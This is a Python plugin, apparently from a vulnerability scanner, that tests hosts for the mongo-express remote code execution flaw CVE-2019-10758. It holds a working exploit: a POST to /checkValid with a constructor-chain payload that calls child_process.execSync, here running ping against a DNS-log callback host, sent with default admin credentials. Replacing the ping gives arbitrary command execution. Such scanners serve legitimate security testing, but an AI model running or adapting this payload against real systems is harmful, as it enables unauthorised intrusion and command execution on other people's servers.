#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib.parse
import requests
import ClassCongregation
from ClassCongregation import Dnslog
import time
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2019-10758" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date']  = "2020-1-7"  # 插件编辑时间
        self.info['disclosure']='2020-1-3'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "MongoExpressRemoteCodeExecutionVulnerability"  # 插件名称
        self.info['name'] ='mongoExpress远程代码执行漏洞' #漏洞名称
        self.info['affects'] = "mongo-express"  # 漏洞组件
        self.info['desc_content'] = "包的受影响版本易受通过使用toBSON方法的终结点的远程代码执行（RCE）攻击。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "mongo express中执行认证<0.54.0"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果

def UrlProcessing(url):
    if url.startswith("http"):#判断是否有http头，如果没有就在下面加入
        res = urllib.parse.urlparse(url)
    else:
        res = urllib.parse.urlparse('http://%s' % url)
    return res.scheme, res.hostname, res.port

def medusa(Url,RandomAgent,UnixTimestamp):

    scheme, url, port = UrlProcessing(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        payload = "/checkValid"
        payload_url = scheme + "://" + url +":"+ str(port)+ payload
        dns=Dnslog()
        data = 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("ping {}")'.format(dns.dns_host())

        headers = {
            'Accept-Encoding': 'gzip, deflate',
            'Accept': '*/*',
            'Accept-Language': 'en',
            'User-Agent': RandomAgent,
            'Authorization': 'Basic YWRtaW46cGFzcw==',
            'Connection': 'close',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '123'
        }
        s = requests.session()
        s.post(payload_url,data=data,headers=headers, timeout=6, verify=False)
        time.sleep(10)
        if dns.result():
            Medusa = "{} 存在mongo-express远程代码执行漏洞\r\n漏洞地址:\r\n{}\r\n漏洞详情:\r\npayload:{}".format(url,payload_url,data)
            _t=VulnerabilityInfo(Medusa)
            ClassCongregation.VulnerabilityDetails(_t.info, url,UnixTimestamp).Write()  # 传入url和扫描到的数据
            ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ClassCongregation.ErrorHandling().Outlier(e, _)
        _l = ClassCongregation.ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名

